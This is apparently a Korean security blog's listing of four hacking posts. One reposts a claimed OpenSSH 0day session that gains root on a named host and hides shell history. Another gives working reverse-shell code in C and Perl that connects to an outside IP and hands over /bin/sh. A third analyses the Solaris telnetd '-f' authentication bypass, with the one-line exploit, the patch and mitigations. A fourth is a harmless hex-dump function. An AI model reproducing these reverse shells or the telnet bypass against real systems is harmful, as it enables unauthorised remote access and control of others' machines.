Search Results for 'Hacking/Linux & Unix'


4 POSTS

  1. 2009/07/07 0day openssh remote exploit
  2. 2007/07/23 dumpcode
  3. 2007/07/23 Reverse Telnet.. 방화벽 우회(?) 역으로 접속하기..
  4. 2007/07/23 Solaris 10 텔넷 데몬(in.telnetd) 취약점.

0day openssh remote exploit

Posted 2009/07/07 11:40 by silverbug

Exploit은 아직 공개 되지 않고, 테스트 결과만 공개된 사항이라, 사실인지는.... 모르겠습니다만.. 실제 Exploit이 공개 된다면 상당한 파장(웜등으로 인해)이 예상되네요..

redhat enterprise linux 5.3의 openssh 4.3에서 테스트한 결과입니다.

anti-sec:~/pwn# ./map ssanz.net

 IP: 66.197.143.133 ( osiris.ssanz.net )
 WWW: Apache/2.2.11
 SSH: SSH-2.0-OpenSSH_4.3

 IP: 66.197.204.101 ( devil.ssanz.net )
 WWW: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.8e-fips-rhel5
mod_mono/2.4 mod_auth_passthrough/2.1 mod_bwlimited/1.4
 SSH: SSH-2.0-OpenSSH_4.3

anti-sec:~/pwn# cd xpl/

anti-sec:~/pwn/xpl# ./0pen0wn -h 66.197.143.133 -p 22

  [+] 0wn0wn – anti-sec group
  [+] Target: 66.197.143.133
  [+] SSH Port: 22

  [~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~>]

sh-3.2# export HISTFILE=/dev/null

sh-3.2# id
uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)

sh-3.2# uname -a
Linux osiris.ssanz.net 2.6.24.5-grsec-hostnoc-4.0.0-x86_64-libata
#1 SMP Mon Aug 25 15:56:12 EDT 2008 x86_64 x86_64 x86_64 GNU/Linux

더보기


출처 : http://baoz.net/0day-openssh-remote-exploit/

dumpcode

Posted 2007/07/23 21:00 by silverbug

void printchar(unsigned char c)

{

        if(isprint(c))

                printf("%c",c);

        else

                printf(".");

}

void dumpcode(unsigned char *buff, int len)

{

        int i;

        for(i=0;i<len;i++)

        {

                if(i%16==0)

                        printf("0x%08x  ",&buff[i]);

                printf("%02x ",buff[i]);

                if(i%16-15==0)

                {

                        int j;

                        printf("  ");

                        for(j=i-15;j<=i;j++)

                                printchar(buff[j]);

                        printf("\n");

                }

        }

        if(i%16!=0)

        {

                int j;

                int spaces=(len-i+16-i%16)*3+2;

                for(j=0;j<spaces;j++)

                        printf(" ");

                for(j=i-i%16;j<len;j++)

                        printchar(buff[j]);

        }

        printf("\n");

}

C로 제작된 Reverse Telnet.....


#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>

int main(void)
{
      int sfd;
      struct sockaddr_in saddr;
      sfd = socket(2, 1, 0);

      saddr.sin_family = 2;
      saddr.sin_port = 0x32; // 3200 == 12800
      saddr.sin_addr.s_addr = inet_addr("203.239.110.12 ");
      connect(sfd, (struct sockaddr *)&saddr, 0x10);

      dup2(sfd, 0);
      dup2(sfd, 1);
      dup2(sfd, 2);
      execl("/bin/sh", "sh", 0);
      close(sfd);

}


Perl로 제작된 Reverse Telnet


#!/usr/bin/perl
use Socket;
use FileHandle;
$IP = $ARGV[0];
$PORT = $ARGV[1];
socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
connect(SOCKET, sockaddr_in($PORT,inet_aton($IP)));
SOCKET->autoflush();
open(STDIN, ">&SOCKET");
open(STDOUT,">&SOCKET");
open(STDERR,">&SOCKET");
system("id;pwd;uname -a;w;HISTFILE=/dev/null /bin/sh -i");

Solaris 10 텔넷 데몬(in.telnetd) 취약점.

Posted 2007/07/23 20:06 by silverbug

>> 본 분석은 맘대로 분석한것이니.. 절대 100% 신뢰하지 말기를 바란다.
>> - 이 글은 유치원 선생님인 황진희로 부터 작성되었으며.. 도와준 우리반 유치원생들에게 감사를 ......
>> 2007년 02월......  유치원 교사 황.(Teacher.Hwang) 씀...

  제목
     Solaris 10  텔넷 데몬(in.telnetd) 취약점.

◈ 개요
      Sun Microsystems사의 Solaris 운영체제는 텔넷 데몬(in.telnetd)의 취약점으로 인해 인증 매커니즘을 우회할 수 있다.

◈ 해당시스템
    # Sun Solaris 10
    # Sun Solaris 11 Beta

◈ 취약점 분석.
    일단 Telnet 데몬이 어떻게 동작하게 되는지 살펴 보도록 하겠다.

>> Telnet Daemon 흐름

- 사용자가 Telnet Client 를 이용하여 접속. 이때 각종 변수는 환경 변수를 통해 전달 된다.
- Telnet Daemon은 사용자가 접속하였을 경우 -l 옵션이나 기타 옵션을 통해 사용자 명이나 기타 옵션을 확인 후 형태에 맞게 실행하게 된다.
- 인증 처리 절차에 의해 Kerberos 인증을 요청했는지 그외의 인증을 요청했는지 확인 후
  각 인증 형태에 맞는 인자값을 주면서 execl 함수를 통하여 login 프로그램을 실행하게 된다.
- 즉 telnet -l root 를 실행했다면..
  execl(LOGIN_PROGRAM, "login", "-p", "-h", host, "-d", slavename, root);
  이런식으로 처리된다.
(실제 인증 처리는 PAM 에서 처리하겠죠~)
- id/password 메세지가 뜨고 인증을 시작하게 된다.

>> 그럼 어디서 문제가 생기는가...??

- 취약점 익스플로잇을 보도록 하자

      telnet -l"-f<user>" <hostname>
      telnet client의 -l옵션은 사용자명을 미리 입력받아 처리해주는 옵션이다.
      이는 환경변수로 USER라는 변수에 유저 네임이 저장되어 처리되게 된다.
      즉! 이 부분에서 문제가 생기게 되는 것이다.
     
      -l 옵션을 주어 유저명을 -f<user>라고 입력하였을 때 -f<user>는 유저명으로 인식되고..
      위에서 telnet 데몬의 흐름을 봤던걸 기억하면 그 유저명은 login 프로그램이 실행될 때 인자값으로
      들어간다는걸 확인 할 수 있었다.
      즉 .. execl(LOGIN_PROGRAM, "login", "-p", "-h", host, "-d", slavename, "-f<user");
      이렇게 들어가게 되서 login 프로그램에서 -f 옵션을 사용함으로서 인해 인증없이 접속이 가능하다.

>> 패치는 어떻게 구성되는가??
패치 전...
(void) execl(LOGIN_PROGRAM, "login", "-p", "-h", host, "-d", slavename, getenv("USER"), 0);

패치 후...
(void) execl(LOGIN_PROGRAM, "login", "-p", "-h", host, "-d", slavename, "--", getenv("USER"), 0);

즉 -- 를 줘서 뒤에 오는 옵션인 환경 변수를 사용하지 못하게 하였다.

 ◈ 해결책

Sun Microsystems사에서 제공하는 패치를 적용함으로써 해당 취약점을 제거할 수 있으며, 운영체제별로 해당하는 패치를 다운받아 설치하면 된다.
또한 telnetd 의 사용보다는 sshd 사용을 권장하며, root 사용자의 원격 접속은 막아두는 것이 좋다.

SPARC Platform
Solaris 10 with patch(120068-02)
http://sunsolve.sun.com/search/document.do?assetkey=urn:cds:docid:1-21-120068-02-1

x86 Platform
Solaris 10 with patch(120069-02)
http://sunsolve.sun.com/search/document.do?assetkey=urn:cds:docid:1-21-120069-02-1

또한 임시 해결책으로는 방화벽에서 특정 호스트만 telnet 포트인 TCP 23번을 허용할 수도 있으며, telnetd 의 사용보다는 sshd 사용을 권장하며, root 사용자의 원격 접속은 막아두는 것이 좋다.



이런 실수를 두번 다시 반복하지 않도록 ^^ 항상 조심하여 코딩!!! 하는 습관을 들이자!!